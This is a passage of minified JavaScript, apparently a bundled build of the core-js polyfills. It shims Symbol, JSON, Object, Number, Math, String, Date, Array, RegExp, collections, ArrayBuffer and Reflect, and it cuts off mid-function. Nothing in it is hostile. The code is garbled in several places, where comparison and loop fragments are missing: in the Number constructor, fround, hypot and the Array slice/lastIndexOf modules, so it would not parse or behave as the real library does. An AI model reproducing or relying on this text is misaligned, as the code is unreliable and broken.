A.f(S(t))}}),j&&u(u.S+u.F*(!U||s((function(){var t=k();return"[null]"!=I([t])||"{}"!=I({a:t})||"{}"!=I(Object(t))}))),"JSON",{stringify:function(t){for(var n,e,r=[t],i=1;arguments.length>i;)r.push(arguments[i++]);if(e=n=r[1],(b(n)||void 0!==t)&&!Q(t))return y(n)||(n=function(t,n){if("function"==typeof e&&(n=e.call(this,t,n)),!Q(n))return n}),r[1]=n,I.apply(j,r)}}),k.prototype[B]||e(14)(k.prototype,B,k.prototype.valueOf),l(k,"Symbol"),l(Math,"Math",!0),l(r.JSON,"JSON",!0)},function(t,n,e){t.exports=e(50)("native-function-to-string",Function.toString)},function(t,n,e){var r=e(33),i=e(52),o=e(47);t.exports=function(t){var n=r(t),e=i.f;if(e)for(var u,a=e(t),c=o.f,s=0;a.length>s;)c.call(t,u=a[s++])&&n.push(u);return n}},function(t,n,e){var r=e(0);r(r.S,"Object",{create:e(35)})},function(t,n,e){var r=e(0);r(r.S+r.F*!e(8),"Object",{defineProperty:e(9).f})},function(t,n,e){var r=e(0);r(r.S+r.F*!e(8),"Object",{defineProperties:e(99)})},function(t,n,e){var r=e(15),i=e(22).f;e(23)("getOwnPropertyDescriptor",(function(){return function(t,n){return i(r(t),n)}}))},function(t,n,e){var r=e(10),i=e(37);e(23)("getPrototypeOf",(function(){return function(t){return i(r(t))}}))},function(t,n,e){var r=e(10),i=e(33);e(23)("keys",(function(){return function(t){return i(r(t))}}))},function(t,n,e){e(23)("getOwnPropertyNames",(function(){return e(100).f}))},function(t,n,e){var r=e(4),i=e(29).onFreeze;e(23)("freeze",(function(t){return function(n){return t&&r(n)?t(i(n)):n}}))},function(t,n,e){var r=e(4),i=e(29).onFreeze;e(23)("seal",(function(t){return function(n){return t&&r(n)?t(i(n)):n}}))},function(t,n,e){var r=e(4),i=e(29).onFreeze;e(23)("preventExtensions",(function(t){return function(n){return t&&r(n)?t(i(n)):n}}))},function(t,n,e){var r=e(4);e(23)("isFrozen",(function(t){return function(n){return!r(n)||!!t&&t(n)}}))},function(t,n,e){var r=e(4);e(23)("isSealed",(function(t){return function(n){return!r(n)||!!t&&t(n)}}))},function(t,n,e){var r=e(4);e(23)("isExtensible",(function(t){return function(n){return!!r(n)&&(!t||t(n))}}))},function(t,n,e){var r=e(0);r(r.S+r.F,"Object",{assign:e(101)})},function(t,n,e){var r=e(0);r(r.S,"Object",{is:e(102)})},function(t,n,e){var r=e(0);r(r.S,"Object",{setPrototypeOf:e(67).set})},function(t,n,e){"use strict";var r=e(48),i={};i[e(5)("toStringTag")]="z",i+""!="[object z]"&&e(11)(Object.prototype,"toString",(function(){return"[object "+r(this)+"]"}),!0)},function(t,n,e){var r=e(0);r(r.P,"Function",{bind:e(103)})},function(t,n,e){var r=e(9).f,i=Function.prototype,o=/^\s*function ([^ (]*)/;"name"in i||e(8)&&r(i,"name",{configurable:!0,get:function(){try{return(""+this).match(o)[1]}catch(t){return""}}})},function(t,n,e){"use strict";var r=e(4),i=e(37),o=e(5)("hasInstance"),u=Function.prototype;o in u||e(9).f(u,o,{value:function(t){if("function"!=typeof this||!r(t))return!1;if(!r(this.prototype))return t instanceof this;for(;t=i(t);)if(this.prototype===t)return!0;return!1}})},function(t,n,e){var r=e(0),i=e(105);r(r.G+r.F*(parseInt!=i),{parseInt:i})},function(t,n,e){var r=e(0),i=e(106);r(r.G+r.F*(parseFloat!=i),{parseFloat:i})},function(t,n,e){"use strict";var r=e(1),i=e(13),o=e(25),u=e(69),a=e(28),c=e(2),s=e(36).f,f=e(22).f,l=e(9).f,h=e(41).trim,d=r.Number,p=d,v=d.prototype,g="Number"==o(e(35)(v)),y="trim"in String.prototype,m=function(t){var n=a(t,!1);if("string"==typeof n&&n.length>2){var e,r,i,o=(n=y?n.trim():h(n,3)).charCodeAt(0);if(43===o||45===o){if(88===(e=n.charCodeAt(2))||120===e)return NaN}else if(48===o){switch(n.charCodeAt(1)){case 66:case 98:r=2,i=49;break;case 79:case 111:r=8,i=55;break;default:return+n}for(var u,c=n.slice(2),s=0,f=c.length;si)return NaN;return parseInt(c,r)}}return+n};if(!d(" 0o1")||!d("0b1")||d("+0x1")){d=function(t){var n=arguments.length<1?0:t,e=this;return e instanceof d&&(g?c((function(){v.valueOf.call(e)})):"Number"!=o(e))?u(new p(m(n)),e,d):m(n)};for(var b,S=e(8)?s(p):"MAX_VALUE,MIN_VALUE,NaN,NEGATIVE_INFINITY,POSITIVE_INFINITY,EPSILON,isFinite,isInteger,isNaN,isSafeInteger,MAX_SAFE_INTEGER,MIN_SAFE_INTEGER,parseFloat,parseInt,isInteger".split(","),w=0;S.length>w;w++)i(p,b=S[w])&&!i(d,b)&&l(d,b,f(p,b));d.prototype=v,v.constructor=d,e(11)(r,"Number",d)}},function(t,n,e){"use strict";var r=e(0),i=e(21),o=e(107),u=e(70),a=1..toFixed,c=Math.floor,s=[0,0,0,0,0,0],f="Number.toFixed: incorrect invocation!",l=function(t,n){for(var e=-1,r=n;++e<6;)r+=t*s[e],s[e]=r%1e7,r=c(r/1e7)},h=function(t){for(var n=6,e=0;--n>=0;)e+=s[n],s[n]=c(e/t),e=e%t*1e7},d=function(){for(var t=6,n="";--t>=0;)if(""!==n||0===t||0!==s[t]){var e=String(s[t]);n=""===n?e:n+u.call("0",7-e.length)+e}return n},p=function(t,n,e){return 0===n?e:n%2==1?p(t,n-1,e*t):p(t*t,n/2,e)};r(r.P+r.F*(!!a&&("0.000"!==8e-5.toFixed(3)||"1"!==.9.toFixed(0)||"1.25"!==1.255.toFixed(2)||"1000000000000000128"!==(0xde0b6b3a7640080).toFixed(0))||!e(2)((function(){a.call({})}))),"Number",{toFixed:function(t){var n,e,r,a,c=o(this,f),s=i(t),v="",g="0";if(s<0||s>20)throw RangeError(f);if(c!=c)return"NaN";if(c<=-1e21||c>=1e21)return String(c);if(c<0&&(v="-",c=-c),c>1e-21)if(e=(n=function(t){for(var n=0,e=t;e>=4096;)n+=12,e/=4096;for(;e>=2;)n+=1,e/=2;return n}(c*p(2,69,1))-69)<0?c*p(2,-n,1):c/p(2,n,1),e*=4503599627370496,(n=52-n)>0){for(l(0,e),r=s;r>=7;)l(1e7,0),r-=7;for(l(p(10,r,1),0),r=n-1;r>=23;)h(1<<23),r-=23;h(1<0?v+((a=g.length)<=s?"0."+u.call("0",s-a)+g:g.slice(0,a-s)+"."+g.slice(a-s)):v+g}})},function(t,n,e){"use strict";var r=e(0),i=e(2),o=e(107),u=1..toPrecision;r(r.P+r.F*(i((function(){return"1"!==u.call(1,void 0)}))||!i((function(){u.call({})}))),"Number",{toPrecision:function(t){var n=o(this,"Number#toPrecision: incorrect invocation!");return void 0===t?u.call(n):u.call(n,t)}})},function(t,n,e){var r=e(0);r(r.S,"Number",{EPSILON:Math.pow(2,-52)})},function(t,n,e){var r=e(0),i=e(1).isFinite;r(r.S,"Number",{isFinite:function(t){return"number"==typeof t&&i(t)}})},function(t,n,e){var r=e(0);r(r.S,"Number",{isInteger:e(108)})},function(t,n,e){var r=e(0);r(r.S,"Number",{isNaN:function(t){return t!=t}})},function(t,n,e){var r=e(0),i=e(108),o=Math.abs;r(r.S,"Number",{isSafeInteger:function(t){return i(t)&&o(t)<=9007199254740991}})},function(t,n,e){var r=e(0);r(r.S,"Number",{MAX_SAFE_INTEGER:9007199254740991})},function(t,n,e){var r=e(0);r(r.S,"Number",{MIN_SAFE_INTEGER:-9007199254740991})},function(t,n,e){var r=e(0),i=e(106);r(r.S+r.F*(Number.parseFloat!=i),"Number",{parseFloat:i})},function(t,n,e){var r=e(0),i=e(105);r(r.S+r.F*(Number.parseInt!=i),"Number",{parseInt:i})},function(t,n,e){var r=e(0),i=e(109),o=Math.sqrt,u=Math.acosh;r(r.S+r.F*!(u&&710==Math.floor(u(Number.MAX_VALUE))&&u(1/0)==1/0),"Math",{acosh:function(t){return(t=+t)<1?NaN:t>94906265.62425156?Math.log(t)+Math.LN2:i(t-1+o(t-1)*o(t+1))}})},function(t,n,e){var r=e(0),i=Math.asinh;r(r.S+r.F*!(i&&1/i(0)>0),"Math",{asinh:function t(n){return isFinite(n=+n)&&0!=n?n<0?-t(-n):Math.log(n+Math.sqrt(n*n+1)):n}})},function(t,n,e){var r=e(0),i=Math.atanh;r(r.S+r.F*!(i&&1/i(-0)<0),"Math",{atanh:function(t){return 0==(t=+t)?t:Math.log((1+t)/(1-t))/2}})},function(t,n,e){var r=e(0),i=e(71);r(r.S,"Math",{cbrt:function(t){return i(t=+t)*Math.pow(Math.abs(t),1/3)}})},function(t,n,e){var r=e(0);r(r.S,"Math",{clz32:function(t){return(t>>>=0)?31-Math.floor(Math.log(t+.5)*Math.LOG2E):32}})},function(t,n,e){var r=e(0),i=Math.exp;r(r.S,"Math",{cosh:function(t){return(i(t=+t)+i(-t))/2}})},function(t,n,e){var r=e(0),i=e(72);r(r.S+r.F*(i!=Math.expm1),"Math",{expm1:i})},function(t,n,e){var r=e(0);r(r.S,"Math",{fround:e(178)})},function(t,n,e){var r=e(71),i=Math.pow,o=i(2,-52),u=i(2,-23),a=i(2,127)*(2-u),c=i(2,-126);t.exports=Math.fround||function(t){var n,e,i=Math.abs(t),s=r(t);return ia||e!=e?s*(1/0):s*e}},function(t,n,e){var r=e(0),i=Math.abs;r(r.S,"Math",{hypot:function(t,n){for(var e,r,o=0,u=0,a=arguments.length,c=0;u0?(r=e/c)*r:e;return c===1/0?1/0:c*Math.sqrt(o)}})},function(t,n,e){var r=e(0),i=Math.imul;r(r.S+r.F*e(2)((function(){return-5!=i(4294967295,5)||2!=i.length})),"Math",{imul:function(t,n){var e=+t,r=+n,i=65535&e,o=65535&r;return 0|i*o+((65535&e>>>16)*o+i*(65535&r>>>16)<<16>>>0)}})},function(t,n,e){var r=e(0);r(r.S,"Math",{log10:function(t){return Math.log(t)*Math.LOG10E}})},function(t,n,e){var r=e(0);r(r.S,"Math",{log1p:e(109)})},function(t,n,e){var r=e(0);r(r.S,"Math",{log2:function(t){return Math.log(t)/Math.LN2}})},function(t,n,e){var r=e(0);r(r.S,"Math",{sign:e(71)})},function(t,n,e){var r=e(0),i=e(72),o=Math.exp;r(r.S+r.F*e(2)((function(){return-2e-17!=!Math.sinh(-2e-17)})),"Math",{sinh:function(t){return Math.abs(t=+t)<1?(i(t)-i(-t))/2:(o(t-1)-o(-t-1))*(Math.E/2)}})},function(t,n,e){var r=e(0),i=e(72),o=Math.exp;r(r.S,"Math",{tanh:function(t){var n=i(t=+t),e=i(-t);return n==1/0?1:e==1/0?-1:(n-e)/(o(t)+o(-t))}})},function(t,n,e){var r=e(0);r(r.S,"Math",{trunc:function(t){return(t>0?Math.floor:Math.ceil)(t)}})},function(t,n,e){var r=e(0),i=e(34),o=String.fromCharCode,u=String.fromCodePoint;r(r.S+r.F*(!!u&&1!=u.length),"String",{fromCodePoint:function(t){for(var n,e=[],r=arguments.length,u=0;r>u;){if(n=+arguments[u++],i(n,1114111)!==n)throw RangeError(n+" is not a valid code point");e.push(n<65536?o(n):o(55296+((n-=65536)>>10),n%1024+56320))}return e.join("")}})},function(t,n,e){var r=e(0),i=e(15),o=e(6);r(r.S,"String",{raw:function(t){for(var n=i(t.raw),e=o(n.length),r=arguments.length,u=[],a=0;e>a;)u.push(String(n[a++])),a=n.length?{value:void 0,done:!0}:(t=r(n,e),this._i+=t.length,{value:t,done:!1})}))},function(t,n,e){"use strict";var r=e(0),i=e(73)(!1);r(r.P,"String",{codePointAt:function(t){return i(this,t)}})},function(t,n,e){"use strict";var r=e(0),i=e(6),o=e(75),u="".endsWith;r(r.P+r.F*e(77)("endsWith"),"String",{endsWith:function(t){var n=o(this,t,"endsWith"),e=arguments.length>1?arguments[1]:void 0,r=i(n.length),a=void 0===e?r:Math.min(i(e),r),c=String(t);return u?u.call(n,c,a):n.slice(a-c.length,a)===c}})},function(t,n,e){"use strict";var r=e(0),i=e(75);r(r.P+r.F*e(77)("includes"),"String",{includes:function(t){return!!~i(this,t,"includes").indexOf(t,arguments.length>1?arguments[1]:void 0)}})},function(t,n,e){var r=e(0);r(r.P,"String",{repeat:e(70)})},function(t,n,e){"use strict";var r=e(0),i=e(6),o=e(75),u="".startsWith;r(r.P+r.F*e(77)("startsWith"),"String",{startsWith:function(t){var n=o(this,t,"startsWith"),e=i(Math.min(arguments.length>1?arguments[1]:void 0,n.length)),r=String(t);return u?u.call(n,r,e):n.slice(e,e+r.length)===r}})},function(t,n,e){"use strict";e(12)("anchor",(function(t){return function(n){return t(this,"a","name",n)}}))},function(t,n,e){"use strict";e(12)("big",(function(t){return function(){return t(this,"big","","")}}))},function(t,n,e){"use strict";e(12)("blink",(function(t){return function(){return t(this,"blink","","")}}))},function(t,n,e){"use strict";e(12)("bold",(function(t){return function(){return t(this,"b","","")}}))},function(t,n,e){"use strict";e(12)("fixed",(function(t){return function(){return t(this,"tt","","")}}))},function(t,n,e){"use strict";e(12)("fontcolor",(function(t){return function(n){return t(this,"font","color",n)}}))},function(t,n,e){"use strict";e(12)("fontsize",(function(t){return function(n){return t(this,"font","size",n)}}))},function(t,n,e){"use strict";e(12)("italics",(function(t){return function(){return t(this,"i","","")}}))},function(t,n,e){"use strict";e(12)("link",(function(t){return function(n){return t(this,"a","href",n)}}))},function(t,n,e){"use strict";e(12)("small",(function(t){return function(){return t(this,"small","","")}}))},function(t,n,e){"use strict";e(12)("strike",(function(t){return function(){return t(this,"strike","","")}}))},function(t,n,e){"use strict";e(12)("sub",(function(t){return function(){return t(this,"sub","","")}}))},function(t,n,e){"use strict";e(12)("sup",(function(t){return function(){return t(this,"sup","","")}}))},function(t,n,e){var r=e(0);r(r.S,"Date",{now:function(){return(new Date).getTime()}})},function(t,n,e){"use strict";var r=e(0),i=e(10),o=e(28);r(r.P+r.F*e(2)((function(){return null!==new Date(NaN).toJSON()||1!==Date.prototype.toJSON.call({toISOString:function(){return 1}})})),"Date",{toJSON:function(t){var n=i(this),e=o(n);return"number"!=typeof e||isFinite(e)?n.toISOString():null}})},function(t,n,e){var r=e(0),i=e(213);r(r.P+r.F*(Date.prototype.toISOString!==i),"Date",{toISOString:i})},function(t,n,e){"use strict";var r=e(2),i=Date.prototype.getTime,o=Date.prototype.toISOString,u=function(t){return t>9?t:"0"+t};t.exports=r((function(){return"0385-07-25T07:06:39.999Z"!=o.call(new Date(-50000000000001))}))||!r((function(){o.call(new Date(NaN))}))?function(){if(!isFinite(i.call(this)))throw RangeError("Invalid time value");var t=this,n=t.getUTCFullYear(),e=t.getUTCMilliseconds(),r=n<0?"-":n>9999?"+":"";return r+("00000"+Math.abs(n)).slice(r?-6:-4)+"-"+u(t.getUTCMonth()+1)+"-"+u(t.getUTCDate())+"T"+u(t.getUTCHours())+":"+u(t.getUTCMinutes())+":"+u(t.getUTCSeconds())+"."+(e>99?e:"0"+u(e))+"Z"}:o},function(t,n,e){var r=Date.prototype,i=r.toString,o=r.getTime;new Date(NaN)+""!="Invalid Date"&&e(11)(r,"toString",(function(){var t=o.call(this);return t==t?i.call(this):"Invalid Date"}))},function(t,n,e){var r=e(5)("toPrimitive"),i=Date.prototype;r in i||e(14)(i,r,e(216))},function(t,n,e){"use strict";var r=e(3),i=e(28);t.exports=function(t){if("string"!==t&&"number"!==t&&"default"!==t)throw TypeError("Incorrect hint");return i(r(this),"number"!=t)}},function(t,n,e){var r=e(0);r(r.S,"Array",{isArray:e(53)})},function(t,n,e){"use strict";var r=e(19),i=e(0),o=e(10),u=e(111),a=e(78),c=e(6),s=e(79),f=e(80);i(i.S+i.F*!e(54)((function(t){Array.from(t)})),"Array",{from:function(t){var n,e,i,l,h=o(t),d="function"==typeof this?this:Array,p=arguments.length,v=p>1?arguments[1]:void 0,g=void 0!==v,y=0,m=f(h);if(g&&(v=r(v,p>2?arguments[2]:void 0,2)),null==m||d==Array&&a(m))for(e=new d(n=c(h.length));n>y;y++)s(e,y,g?v(h[y],y):h[y]);else for(l=m.call(h),e=new d;!(i=l.next()).done;y++)s(e,y,g?u(l,v,[i.value,y],!0):i.value);return e.length=y,e}})},function(t,n,e){"use strict";var r=e(0),i=e(79);r(r.S+r.F*e(2)((function(){function t(){}return!(Array.of.call(t)instanceof t)})),"Array",{of:function(){for(var t=0,n=arguments.length,e=new("function"==typeof this?this:Array)(n);n>t;)i(e,t,arguments[t++]);return e.length=n,e}})},function(t,n,e){"use strict";var r=e(0),i=e(15),o=[].join;r(r.P+r.F*(e(46)!=Object||!e(16)(o)),"Array",{join:function(t){return o.call(i(this),void 0===t?",":t)}})},function(t,n,e){"use strict";var r=e(0),i=e(66),o=e(25),u=e(34),a=e(6),c=[].slice;r(r.P+r.F*e(2)((function(){i&&c.call(i)})),"Array",{slice:function(t,n){var e=a(this.length),r=o(this);if(n=void 0===n?e:n,"Array"==r)return c.call(this,t,n);for(var i=u(t,e),s=u(n,e),f=a(s-i),l=new Array(f),h=0;h1&&(r=Math.min(r,o(arguments[1]))),r<0&&(r=e+r);r>=0;r--)if(r in n&&n[r]===t)return r||0;return-1}})},function(t,n,e){var r=e(0);r(r.P,"Array",{copyWithin:e(114)}),e(38)("copyWithin")},function(t,n,e){var r=e(0);r(r.P,"Array",{fill:e(81)}),e(38)("fill")},function(t,n,e){"use strict";var r=e(0),i=e(24)(5),o=!0;"find"in[]&&Array(1).find((function(){o=!1})),r(r.P+r.F*o,"Array",{find:function(t){return i(this,t,arguments.length>1?arguments[1]:void 0)}}),e(38)("find")},function(t,n,e){"use strict";var r=e(0),i=e(24)(6),o="findIndex",u=!0;o in[]&&Array(1)[o]((function(){u=!1})),r(r.P+r.F*u,"Array",{findIndex:function(t){return i(this,t,arguments.length>1?arguments[1]:void 0)}}),e(38)(o)},function(t,n,e){e(43)("Array")},function(t,n,e){var r=e(1),i=e(69),o=e(9).f,u=e(36).f,a=e(76),c=e(55),s=r.RegExp,f=s,l=s.prototype,h=/a/g,d=/a/g,p=new s(h)!==h;if(e(8)&&(!p||e(2)((function(){return d[e(5)("match")]=!1,s(h)!=h||s(d)==d||"/a/i"!=s(h,"i")})))){s=function(t,n){var e=this instanceof s,r=a(t),o=void 0===n;return!e&&r&&t.constructor===s&&o?t:i(p?new f(r&&!o?t.source:t,n):f((r=t instanceof s)?t.source:t,r&&o?c.call(t):n),e?this:l,s)};for(var v=function(t){t in s||o(s,t,{configurable:!0,get:function(){return f[t]},set:function(n){f[t]=n}})},g=u(f),y=0;g.length>y;)v(g[y++]);l.constructor=s,s.prototype=l,e(11)(r,"RegExp",s)}e(43)("RegExp")},function(t,n,e){"use strict";e(117);var r=e(3),i=e(55),o=e(8),u=/./.toString,a=function(t){e(11)(RegExp.prototype,"toString",t,!0)};e(2)((function(){return"/a/b"!=u.call({source:"a",flags:"b"})}))?a((function(){var t=r(this);return"/".concat(t.source,"/","flags"in t?t.flags:!o&&t instanceof RegExp?i.call(t):void 0)})):"toString"!=u.name&&a((function(){return u.call(this)}))},function(t,n,e){"use strict";var r=e(3),i=e(6),o=e(84),u=e(56);e(57)("match",1,(function(t,n,e,a){return[function(e){var r=t(this),i=null==e?void 0:e[n];return void 0!==i?i.call(e,r):new RegExp(e)[n](String(r))},function(t){var n=a(e,t,this);if(n.done)return n.value;var c=r(t),s=String(this);if(!c.global)return u(c,s);var f=c.unicode;c.lastIndex=0;for(var l,h=[],d=0;null!==(l=u(c,s));){var p=String(l[0]);h[d]=p,""===p&&(c.lastIndex=o(s,i(c.lastIndex),f)),d++}return 0===d?null:h}]}))},function(t,n,e){"use strict";var r=e(3),i=e(10),o=e(6),u=e(21),a=e(84),c=e(56),s=Math.max,f=Math.min,l=Math.floor,h=/\$([$&`']|\d\d?|<[^>]*>)/g,d=/\$([$&`']|\d\d?)/g;e(57)("replace",2,(function(t,n,e,p){return[function(r,i){var o=t(this),u=null==r?void 0:r[n];return void 0!==u?u.call(r,o,i):e.call(String(o),r,i)},function(t,n){var i=p(e,t,this,n);if(i.done)return i.value;var l=r(t),h=String(this),d="function"==typeof n;d||(n=String(n));var g=l.global;if(g){var y=l.unicode;l.lastIndex=0}for(var m=[];;){var b=c(l,h);if(null===b)break;if(m.push(b),!g)break;""===String(b[0])&&(l.lastIndex=a(h,o(l.lastIndex),y))}for(var S,w="",M=0,_=0;_=M&&(w+=h.slice(M,P)+N,M=P+x.length)}return w+h.slice(M)}];function v(t,n,r,o,u,a){var c=r+t.length,s=o.length,f=d;return void 0!==u&&(u=i(u),f=h),e.call(a,f,(function(e,i){var a;switch(i.charAt(0)){case"$":return"$";case"&":return t;case"`":return n.slice(0,r);case"'":return n.slice(c);case"<":a=u[i.slice(1,-1)];break;default:var f=+i;if(0===f)return e;if(f>s){var h=l(f/10);return 0===h?e:h<=s?void 0===o[h-1]?i.charAt(1):o[h-1]+i.charAt(1):e}a=o[f-1]}return void 0===a?"":a}))}}))},function(t,n,e){"use strict";var r=e(3),i=e(102),o=e(56);e(57)("search",1,(function(t,n,e,u){return[function(e){var r=t(this),i=null==e?void 0:e[n];return void 0!==i?i.call(e,r):new RegExp(e)[n](String(r))},function(t){var n=u(e,t,this);if(n.done)return n.value;var a=r(t),c=String(this),s=a.lastIndex;i(s,0)||(a.lastIndex=0);var f=o(a,c);return i(a.lastIndex,s)||(a.lastIndex=s),null===f?-1:f.index}]}))},function(t,n,e){"use strict";var r=e(76),i=e(3),o=e(49),u=e(84),a=e(6),c=e(56),s=e(83),f=e(2),l=Math.min,h=[].push,d="length",p=!f((function(){RegExp(4294967295,"y")}));e(57)("split",2,(function(t,n,e,f){var v;return v="c"=="abbc".split(/(b)*/)[1]||4!="test".split(/(?:)/,-1)[d]||2!="ab".split(/(?:ab)*/)[d]||4!=".".split(/(.?)(.?)/)[d]||".".split(/()()/)[d]>1||"".split(/.?/)[d]?function(t,n){var i=String(this);if(void 0===t&&0===n)return[];if(!r(t))return e.call(i,t,n);for(var o,u,a,c=[],f=(t.ignoreCase?"i":"")+(t.multiline?"m":"")+(t.unicode?"u":"")+(t.sticky?"y":""),l=0,p=void 0===n?4294967295:n>>>0,v=new RegExp(t.source,f+"g");(o=s.call(v,i))&&!((u=v.lastIndex)>l&&(c.push(i.slice(l,o.index)),o[d]>1&&o.index=p));)v.lastIndex===o.index&&v.lastIndex++;return l===i[d]?!a&&v.test("")||c.push(""):c.push(i.slice(l)),c[d]>p?c.slice(0,p):c}:"0".split(void 0,0)[d]?function(t,n){return void 0===t&&0===n?[]:e.call(this,t,n)}:e,[function(e,r){var i=t(this),o=null==e?void 0:e[n];return void 0!==o?o.call(e,i,r):v.call(String(i),e,r)},function(t,n){var r=f(v,t,this,n,v!==e);if(r.done)return r.value;var s=i(t),h=String(this),d=o(s,RegExp),g=s.unicode,y=(s.ignoreCase?"i":"")+(s.multiline?"m":"")+(s.unicode?"u":"")+(p?"y":"g"),m=new d(p?s:"^(?:"+s.source+")",y),b=void 0===n?4294967295:n>>>0;if(0===b)return[];if(0===h.length)return null===c(m,h)?[h]:[];for(var S=0,w=0,M=[];w0?arguments[0]:void 0)}}),{get:function(t){var n=r.getEntry(i(this,"Map"),t);return n&&n.v},set:function(t,n){return r.def(i(this,"Map"),0===t?0:t,n)}},r,!0)},function(t,n,e){"use strict";var r=e(121),i=e(39);t.exports=e(60)("Set",(function(t){return function(){return t(this,arguments.length>0?arguments[0]:void 0)}}),{add:function(t){return r.def(i(this,"Set"),t=0===t?0:t,t)}},r)},function(t,n,e){"use strict";var r,i=e(1),o=e(24)(0),u=e(11),a=e(29),c=e(101),s=e(122),f=e(4),l=e(39),h=e(39),d=!i.ActiveXObject&&"ActiveXObject"in i,p=a.getWeak,v=Object.isExtensible,g=s.ufstore,y=function(t){return function(){return t(this,arguments.length>0?arguments[0]:void 0)}},m={get:function(t){if(f(t)){var n=p(t);return!0===n?g(l(this,"WeakMap")).get(t):n?n[this._i]:void 0}},set:function(t,n){return s.def(l(this,"WeakMap"),t,n)}},b=t.exports=e(60)("WeakMap",y,m,s,!0,!0);h&&d&&(c((r=s.getConstructor(y,"WeakMap")).prototype,m),a.NEED=!0,o(["delete","has","get","set"],(function(t){var n=b.prototype,e=n[t];u(n,t,(function(n,i){if(f(n)&&!v(n)){this._f||(this._f=new r);var o=this._f[t](n,i);return"set"==t?this:o}return e.call(this,n,i)}))})))},function(t,n,e){"use strict";var r=e(122),i=e(39);e(60)("WeakSet",(function(t){return function(){return t(this,arguments.length>0?arguments[0]:void 0)}}),{add:function(t){return r.def(i(this,"WeakSet"),t,!0)}},r,!1,!0)},function(t,n,e){"use strict";var r=e(0),i=e(61),o=e(86),u=e(3),a=e(34),c=e(6),s=e(4),f=e(1).ArrayBuffer,l=e(49),h=o.ArrayBuffer,d=o.DataView,p=i.ABV&&f.isView,v=h.prototype.slice,g=i.VIEW;r(r.G+r.W+r.F*(f!==h),{ArrayBuffer:h}),r(r.S+r.F*!i.CONSTR,"ArrayBuffer",{isView:function(t){return p&&p(t)||s(t)&&g in t}}),r(r.P+r.U+r.F*e(2)((function(){return!new h(2).slice(1,void 0).byteLength})),"ArrayBuffer",{slice:function(t,n){if(void 0!==v&&void 0===n)return v.call(u(this),t);for(var e=u(this).byteLength,r=a(t,e),i=a(void 0===n?e:n,e),o=new(l(this,h))(c(i-r)),s=new d(this),f=new d(o),p=0;r=n.length)return{value:void 0,done:!0}}while(!((t=n[this._i++])in this._t));return{value:t,done:!1}})),r(r.S,"Reflect",{enumerate:function(t){return new o(t)}})},function(t,n,e){var r=e(22),i=e(37),o=e(13),u=e(0),a=e(4),c=e(3);u(u.S,"Reflect",{get:function t(n,e){var u,s,f=arguments.length<3?n:arguments[2];return c(n)===f?n[e]:(u=r.f(n,e))?o(u,"value")?u.value:void 0!==u.get?u.get.call(f):void 0:a(s=i(n))?t(s,e,f):void 0}})},function(t,n,e){var r=e(22),i=e(0),o=e(3);i(i.S,"Reflect",{getOwnPropertyDescriptor:function(t,n){return r.f(o(t),n)}})},function(t,n,e){var r=e(0),i=e(37),o=e(3);r(r.S,"Reflect",{getPrototypeOf:function(t){return i(o(t))}})},function(t,n,e){var r=e(0);r(r.S,"Reflect",{has:function(t,n){return n in t}})},function(t,n,e){var r=e(0),i=e(3),o=Object.isExtensible;r(r.S,"Reflect",{isExtensible:function(t){return i(t),!o||o(t)}})},function(t,n,e){var r=e(0);r(r.S,"Reflect",{ownKeys:e(124)})},function(t,n,e){var r=e(0),i=e(3),o=Object.preventExtensions;r(r.S,"Reflect",{preventExtensions:function(t){i(t);try{return o&&o(t),!0}catch(t){return!1}}})},function(t,n,e){var r=e(9),i=e(22),o=e(37),u=e(13),a=e(0),c=e(30),s=e(3),f=e(4);a(a.S,"Reflect",{set:function t(n,e,a){var l,h,d=arguments.length<4?n:arguments[3],p=i.f(s(n),e);if(!p){if(f(h=o(n)))return t(h,e,a,d);p=c(0)}if(u(p,"value")){if(!1===p.writable||!f(d))return!1;if(l=i.f(d,e)){if(l.get||l.set||!1===l.writable)return!1;l.value=a,r.f(d,e,l)}else r.f(d,e,c(0,a));return!0}return void 0!==p.set&&(p.set.call(d,a),!0)}})},function(t,n,e){var r=e(0),i=e(67);i&&r(r.S,"Reflect",{setPrototypeOf:function(t,n){i.check(t,n);try{return i.set(t,n),!0}catch(t){return!1}}})},function(t,n,e){e(276),t.exports=e(7).Array.includes},function(t,n,e){"use strict";var r=e(0),i=e(51)(!0);r(r.P,"Array",{includes:function(t){return i(this,t,arguments.length>1?arguments[1]:void 0)}}),e(38)("includes")},function(t,n,e){e(278),t.exports=e(7).Array.flatMap},function(t,n,e){"use strict";var r=e(0),i=e(279),o=e(10),u=e(6),a=e(20),c=e(112);r(r.P,"Array",{flatMap:function(t){var n,e,r=o(this);return a(t),n=u(r.length),e=c(r,0),i(e,r,r,n,0,1,t,arguments[1]),e}}),e(38)("flatMap")},function(t,n,e){"use strict";var r=e(53),i=e(4),o=e(6),u=e(19),a=e(5)("isConcatSpreadable");t.exports=function t(n,e,c,s,f,l,h,d){for(var p,v,g=f,y=0,m=!!h&&u(h,d,3);y0)g=t(n,e,p,o(p.length),g,l-1)-1;else{if(g>=9007199254740991)throw TypeError();n[g]=p}g++}y++}return g}},function(t,n,e){e(281),t.exports=e(7).String.padStart},function(t,n,e){"use strict";var r=e(0),i=e(125),o=e(59),u=/Version\/10\.\d+(\.\d+)?( Mobile\/\w+)? Safari\//.test(o);r(r.P+r.F*u,"String",{padStart:function(t){return i(this,t,arguments.length>1?arguments[1]:void 0,!0)}})},function(t,n,e){e(283),t.exports=e(7).String.padEnd},function(t,n,e){"use strict";var r=e(0),i=e(125),o=e(59),u=/Version\/10\.\d+(\.\d+)?( Mobile\/\w+)? Safari\//.test(o);r(r.P+r.F*u,"String",{padEnd:function(t){return i(this,t,arguments.length>1?arguments[1]:void 0,!1)}})},function(t,n,e){e(285),t.exports=e(7).String.trimLeft},function(t,n,e){"use strict";e(41)("trimLeft",(function(t){return function(){return t(this,1)}}),"trimStart")},function(t,n,e){e(287),t.exports=e(7).String.trimRight},function(t,n,e){"use strict";e(41)("trimRight",(function(t){return function(){return t(this,2)}}),"trimEnd")},function(t,n,e){e(289),t.exports=e(63).f("asyncIterator")},function(t,n,e){e(97)("asyncIterator")},function(t,n,e){e(291),t.exports=e(7).Object.getOwnPropertyDescriptors},function(t,n,e){var r=e(0),i=e(124),o=e(15),u=e(22),a=e(79);r(r.S,"Object",{getOwnPropertyDescriptors:function(t){for(var n,e,r=o(t),c=u.f,s=i(r),f={},l=0;s.length>l;)void 0!==(e=c(r,n=s[l++]))&&a(f,n,e);return f}})},function(t,n,e){e(293),t.exports=e(7).Object.values},function(t,n,e){var r=e(0),i=e(126)(!1);r(r.S,"Object",{values:function(t){return 